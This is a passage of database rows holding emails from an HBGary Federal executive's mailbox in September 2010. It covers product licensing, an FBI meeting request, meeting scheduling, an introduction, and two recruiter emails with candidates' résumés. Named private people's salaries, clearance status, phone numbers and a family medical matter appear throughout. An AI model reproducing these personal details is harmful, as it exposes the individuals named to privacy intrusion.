on ASAP and give him the remainder of this month freestarting on the day they execute the proposal.Ted',15223,'aaron_hbgary_com/15223.html'),(11398,'2010-09-07','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008628.M81176P14101Q6250.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - licenses','Hi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.Best wishes,Arnav\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:Rafal. &nbsp;I am very sorry to hear of your circumstances. &nbsp;I understand. &nbsp;I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav. &nbsp;I will get that quote out to you asap.Let me know when you are ready to reengage. &nbsp;We have started down a social media path that you might find interesting. &nbsp;Attached is a brochure for our social media training. &nbsp;For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training. &nbsp;So far that is going well for us.Aaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;On Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:Dear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.We are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?On the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',15348,'aaron_hbgary_com/15348.html'),(11399,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008628.M992729P14101Q6254.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: FIRST Conference in Miami','Sure.  I normally use the offices in Tysons Corner but I can check\r\nother locations that might be closer to you.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 4:31 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> Chris,\r\n>\r\n> Sure either week is fine with me.  Let me know what works for you.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> Hi Chris,\r\n>>\r\n>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>\r\n>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>\r\n>>> Thank You,\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>\r\n>\r\n',5623,'aaron_hbgary_com/5623.html'),(11400,'2010-09-07','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008629.M227768P14101Q6255.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: FIRST Conference in Miami','Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n\r\nChris\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Geary, Christopher A.\r\nSent: Tue Sep 07 16:56:42 2010\nSubject: Re: FIRST Conference in Miami\r\n\r\nSure.  I normally use the offices in Tysons Corner but I can check\r\nother locations that might be closer to you.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 4:31 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> Chris,\r\n>\r\n> Sure either week is fine with me.  Let me know what works for you.\r\n>\r\n> Aaron\r\n>\r\n> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> Hi Chris,\r\n>>\r\n>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>\r\n>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>\r\n>>> Thank You,\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>\r\n>\r\n',4441,'aaron_hbgary_com/4441.html'),(11401,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008629.M524504P14101Q6256.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Digital Globe','Hi Maria,\r\n\r\nLast we spoke the Digital Globe meeting was not quite firmed up, but\r\nwas looking like this Thursday.  I heard from Penny that it will be\r\nthis Friday, and that Greg is going to be there.  Can you please send\r\nme the time/date and place for this meeting, if I\'m still required to\r\nattend.\r\n\r\nThanks!\r\nTed\r\n',4580,'aaron_hbgary_com/4580.html'),(11402,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008629.M732445P14101Q6257.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Digital Globe','It\'s on Monday now.?  We talked about this right?\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 7, 2010, at 5:13 PM, Ted Vera  wrote:\r\n\r\n> Hi Maria,\r\n>\r\n> Last we spoke the Digital Globe meeting was not quite firmed up, but\r\n> was looking like this Thursday.  I heard from Penny that it will be\r\n> this Friday, and that Greg is going to be there.  Can you please send\r\n> me the time/date and place for this meeting, if I\'m still required to\r\n> attend.\r\n>\r\n> Thanks!\r\n> Ted\r\n',16420,'aaron_hbgary_com/16420.html'),(11403,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008629.M966762P14101Q6258.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Digital Globe','Maria hasn\'t mentioned a thing to ME about it, and I\'m kinda pissed.\r\n\r\nOn Tue, Sep 7, 2010 at 3:13 PM, Aaron Barr  wrote:\r\n> It\'s on Monday now.?  We talked about this right?\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 7, 2010, at 5:13 PM, Ted Vera  wrote:\r\n>\r\n>> Hi Maria,\r\n>>\r\n>> Last we spoke the Digital Globe meeting was not quite firmed up, but\r\n>> was looking like this Thursday.  I heard from Penny that it will be\r\n>> this Friday, and that Greg is going to be there.  Can you please send\r\n>> me the time/date and place for this meeting, if I\'m still required to\r\n>> attend.\r\n>>\r\n>> Thanks!\r\n>> Ted\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13791,'aaron_hbgary_com/13791.html'),(11404,'2010-09-07','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297008630.M185623P14101Q6259.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','RE: Introduction','Nate - great to meet you this morning. You are working on some pretty cool things and it would be great to help in any way I can.\r\n\r\nAaron - It sounds like you are working on something that might be helpful on a project we are currently pursuing.  I\'ll in my Rosslyn office all of next week.  Perhaps we could get together?  Monday and Tuesday are best for me.\r\n\r\nRegards,\r\n\r\nMatt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 3:55 PM\r\nTo: Nathan Atherley\r\nCc: Matt Bigge\r\nSubject: Re: Introduction\r\n\r\nNate,\r\n\r\nThanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n\r\nGreg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n> \r\n> Matt\r\n> \r\n> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n> \r\n> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n> \r\n> Nathan\r\n> \r\n> \r\n\r\n',5263,'aaron_hbgary_com/5263.html'),(11405,'2010-09-07','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008630.M693110P14101Q6260.eml','','Daryan Huggins...network security candidate','Daryan HugginsLives in Alexandria, VA, &nbsp;Prefers work in VA or DC.Currently makes $77KWants a new position because his current company is moving to Ft. Meade, MD and he doesn\'t want to commute that far.Active TS/SCI Active Clearance&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WORK EXPERIENCE:Defense Information Systems Agency - Connection Approval Office - Falls Church, Virginia -&nbsp;October 2009 – PresentIA Analyst &nbsp;&nbsp;Maintain connection approval process (CAP) through certification and accreditation (C&amp;A) documentationPerform risk analysis, which also includes risk management, assessments and security penetration testing.Interfaces with user community to understand their security needs and implements procedures that ensures user community understands and adheres to necessary procedures to maintain securityAssist security team with accurate evaluation of the level of security required to mitigate identified risks and/or achieve complianceReview certification and accreditation (C&amp;A) documentation to support the DIACAP approval process within the Department of Defense (DOD)Review and track C&amp;A documentation provided by programs of record (POR), centrally managed systems, Joint Programs and Systems, Legacy, site, Architecture and locally acquired programs to ensure that DITSCAP/DIACAP documentation complies with the provision of DoD 8500 series IA policy directives and the DoD 8510.01 (DIACAP) instructionProvide documentation security analysis and review; summarize required information in C&amp;A Endorsement Letters to support C&amp;A risk determination and IATC/ATC Connection Aproval recommendations&nbsp;Department of Treasury - Security Operations Center - McLean, Virginia -&nbsp;September 2008 – October 2009Security AnalystPerform daily Intrusion Detection Sensor (IDS) monitoring to ensure that all sensors are active.Review alerts and packet-level data collected from sensors on a daily basis and report findings to the government Watch Officer (WO).Provide incident response functions when appropriate and coordinate activities with field site personnel when directed by the government WO.Support the government WO in publishing incidents, alerts, advisories and bulletins as required.Conduct research pertaining to the latest viruses, worms, etc. and the latest technological advances in combating unauthorized access to information.Submit an End-of-Shift Report summarizing activities for each shift.&nbsp;Federal Aviation Administration - Cyber Security Management Center - Leesburg, Virginia	&nbsp;-&nbsp;November 2007 – September 2008Network Security Engineer Research and DevelopmentResearch, develop and evaluate applications, software packages, and appliances to assist the CSMC operation’s Duty Analyst in performing daily Intrusion Detection Sensor (IDS) monitoring of LOBs.Review in test lab various solutions to aid the Enterprise Security Information Management (SIM) tool interface as the tool correlates and aggregates alert data from multiple IDS sensor types and additional security devices.Research and recommend a wide array of technologies to assist CSMC Duty Analysts in their task of reporting findings to the government Watch Officer (WO) on alert and packet-level data collection from the CSMC’s field sensors.Conduct research pertaining to the latest viruses, worms, etc. and the latest technological advances in combating unauthorized access to informationThe R&amp;D team manages all aspects of the evaluation process, to include; needs assessment, requirements definition, criteria matrix, evaluation planning, lab set up &amp; maintenance, test data preparation, formal product testing and technical writing documentation.&nbsp;National Geospatial Intelligence Agency - Network Operations - Reston, Virginia -&nbsp;August 2005 – November 2007Sr. Systems AdministratorTroubleshooting and resolving a wide range of complex system, software, hardware, and network issues to include planning and implementing system, data and database backup and recoveriesTroubleshooting network components utilizing various network protocols, and domain wide account management via Active Directory Users and ComputersInstalling, configuring and maintaining Windows servers, workstations and laptopsPerforming installations and upgrades to operating systems, various software packages and maintaining all systems in accordance with established policies, procedures and service level agreementsProvide the engineering and technical expertise to track, assess, manage, and impact changes to the baseline of systems under management by NGA Implementing and managing appropriate technical solutions and insuring all Service Level Agreements are met&nbsp;US Investigation Services – Information Technology Department - Falls Church, Virginia -&nbsp;December 2002 – August 2005Network/Systems AdministratorProvided network management, web services, file and print sharing resources, technical assistance, and diagnosed hardware/software issues for corporate clients in a Windows 2000/2003 Server multi-platform and Unix Server (15 to 20%) environment &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Maintained the availability of company computer systems including servers, workstations, laptops, printers and multimedia equipmentManaged local and domain wide groups through Active Directory supporting over 300 usersDesktop Support for all areas including printing, networking, and telecommunications&nbsp; Hardware/Software testing, recommendation and implementationUse of Security Information Management/Security Event Management (SIM/SEM) toolsUse of network mapping tools such as Nmap and SuperScan for network inventory, managing service upgrade schedules, and monitor host or service uptimeDetermined hosts availability on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, TCP port scanning, pinging, and tracerouteUse of enterprise antivirus application with various Operating Systems and LAN/WAN technologies&nbsp;United States Marine Corps - Quantico, Virginia -&nbsp;July 1998 – July 2002Combat Visual Information SpecialistCurrent Status: Corporal (NCO) Veteran&nbsp;&nbsp;&nbsp;&nbsp;Well-developed organizational and leadership skills&nbsp;&nbsp;&nbsp;&nbsp;Traveled the continental U.S. and over seas providing photographic support for Marine Corps wide imagery databases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Skilled professional Marine photographer of the U.S. Marine Corps Combat Visual Information Center&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed interactive archival programs for the U.S. Marine Corps Combat Visual Information Center (CVIC)&nbsp;&nbsp;&nbsp;&nbsp;Created graphic illustrations and video documentation used to aid in military training&nbsp;&nbsp;&nbsp;&nbsp;Aided in the development of department web site and trained as microcomputer repair technician &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Operated as Information System Coordinator for the U.S. Marine Corps Combat Visual Information Center in Quantico Virginia. Managed research and development of department wide Information System PC upgradeEDUCATION:&nbsp;B.S. Computer Information Systems,&nbsp;Strayer University&nbsp;SCNA/SCP &nbsp;&nbsp;(Security Certified Network Architect)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CISSP&nbsp;(Certified Information Systems Security Professional)&nbsp;ISC2&nbsp;SCNP&nbsp;(Security Certified Network Professional) SCPCEH&nbsp;&nbsp;(Certified Ethical Hacker) EC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SCNS&nbsp;(Security Certified Network Specialist)&nbsp;SCPCNDA&nbsp;(Certified Network Defense Architect) EC-Council&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Security+ -&nbsp;CompTIA&nbsp;CIW&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MCSA&nbsp;(Microsoft Certified Systems Administrator)CIW &nbsp;(Certified Internet Webmaster Associate) &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ITIL&nbsp;(Information Technology Infrastructure Library)&nbsp;EXIN &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Intrusion Detection In Depth -&nbsp;SANS&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Global Knowledge Strategic Partnership Training&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Redhat Linux Essentials Certification&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Learning Tree International&nbsp;&nbsp;-&nbsp;Advanced TCP/IP Course&nbsp;NEXTEC Inc. -&nbsp;Web Master Program Vocational Certification &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;SKILLS:&nbsp;Air Defense Wireless Security&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Checkpoint Firewall&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lancope ADS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RedHat Linux &nbsp; &nbsp;&nbsp;AppScan/HP Web Scanners&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cisco IDM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Active Dir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SnortArcSight SIM&nbsp;Enterasys SIM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft SMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SourceFire IDSBig Fix Enterprise Manager &nbsp; &nbsp;&nbsp;ForeScout NAC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MS SQL Server 2005 &nbsp; &nbsp;&nbsp;VMwareBlueCoat WAN optimization &nbsp; &nbsp;&nbsp;Foundstone &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MySQL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Windows 2003 ServerCA Service Desk &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ISS Site Protector IPS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nessus&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WireShark~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence SEE THE HOT JOBS... CLICK THE LOGO LINK!\r\n\r\n',7850,'aaron_hbgary_com/7850.html'),(11406,'2010-09-07','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008631.M100656P14101Q6261.eml','','JOSHUA SMITH...Vulnerability/malware/ethical hacking','CANDIDATE NAME: &nbsp;JOSHUA SMITHLIVES IN: ALABAMA &nbsp; &nbsp;WILL RELOCATE TO DC/VA/MDCLEARANCE: TOP SECRET (FBI)CURRENT SALARY: $52,000LOOKING FOR WORK BECAUSE: &nbsp;Wants more Vulnerability and Ethical Hacking hands on then current job. &nbsp;He does a lot of project management now and wants to be more hands on technically and less of a policy guy.ProfileQuality-driven information security professional that is people-oriented, technically minded, and has experience in designing, developing, and implementing a wide array of security architectures seeking to advance in the security field.ExperienceJones Stephens Corporation		January 2006 - Present		&nbsp;Moody, ALSecurity AdministratorResponsible for all network vulnerability assessments and audits using Nessus and NmapMaintain and administer company firewall rules, policies, and proceduresImplemented and maintain company proxy server to address company security and monitoring concerns for safe web browsingResearched, installed, and deployed company workstation and server anti-virus solutionProvided secure VPN and remote access to company resourcesInstalled, configured, and maintain IDS solutionDeveloped, implemented, and maintain company\'s mail security solutionsDeployed company patch management solution to ensure server and workstation complianceImplemented a company-wide defense-in-depth security modelInformation Systems ArchitectResponsible for research, testing, and implementation of new company-wide IP PBX telephony system projected to save the company $100K over four yearsDesigned, tested, and deployed new VMware virtual infrastructure, including migrating servers and deploying over 20 new VMware server instancesResearched, deployed, and maintain company\'s six Storage Area Network (SAN) installationsImplemented a new Microsoft Domain and Active Directory deployment, architected OU structure, GPO assignment and configuration, and deployed new DNS and DHCP serversEngineered LAN and WAN infrastructure, including routing configurations, QoS, and VLAN designNetwork AdministratorResponsible for research and deployment of the company network monitoring solutionResearched and implemented a company-wide standardization policy, including standardization with configurations (software and hardware), deployment procedures, and naming conventionsDeveloped and taught IT training curriculumDesktop SupportAnalyzed, managed, and resolved network, configuration, and printing issuesConfigured, monitored, and troubleshot issues with system performanceJanuary 2004 – September 2005 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGA Professional Golf Tour &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;North Myrtle Beach, SCProfessional GolferMember of the 3rd largest professional golf tour in the United StatesPlayed in 27 events over two yearsReceived 2004 “Golf Achievement Award”CertificationsCertified Wireless Network AdministratorGIAC Assessing Wireless NetworksVMware Certified ProfessionalMicrosoft Certified Desktop Support TechnicianCompTIA Security+ Certified ProfessionalCompTIA A+ Certified TechnicianCompTIA Network+ Certified TechnicianCurrently seeking CISSP &amp; OSCP CertificationsProfessional MembershipsActive Top Secret Security ClearanceFBI Birmingham Volunteer Malware AnalystStatically analyzed malware with PEiD, OllyDBG, IDA Pro, and CWSandboxDynamically analyzed malware with Honeyd, Wireshark, Malcode Analysis Pack, Process Monitor, and Process ExplorerAnalyzed phishing sites by source code reviewInfragard member and guest speaker, including the following presentations:Extreme Makeover: Network EditionSecurity Through Obscurity (And Why Not To Do It)Wireless (In)securityTechnical SkillsApplication ProficiencyAdvanced Installer, Apache Web Server, Burp Suite, HP LeftHand CMC, Honeyd, Hydra, IDA Pro, Kaspersky Anti-Virus, Malcode Analysis Pack, Maltego, Metasploit, Microsoft Exchange, Microsoft IIS, Microsoft Office, Microsoft SQL Server, Nessus, Netcat, Nmap, OllyDBG, PeiD, Scapy, Squid Proxy Server, Symantec Backup Exec, Symantec Enterprise Vault, WiresharkLanguage ProficiencyAssembly, Batch Files, C/C++/C#, JavaScript, HTML, KiXtart, Perl, PHP, Python, Ruby, Shell Scripting, SQL, VBA/VBscript, WMI, XMLOperating System ProficiencyCisco IOS, FreeBSD, Linux (Slackware, Ubuntu, CentOS), Microsoft Windows Server 2000/2003/2008, Microsoft Windows 95/98/2000/XP/Vista/7, Novell Netware 6.5, OpenFiler, openSolarisTechnology ProficiencyCertificate Management, DNS/DHCP, DR development, iSCSI SAN\'s, LDAP Administration, Terminal Services, VMware administration, VoIP telephony solutions, WAN optimizationEducationAugust 1998 – December 2003 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mississippi State University 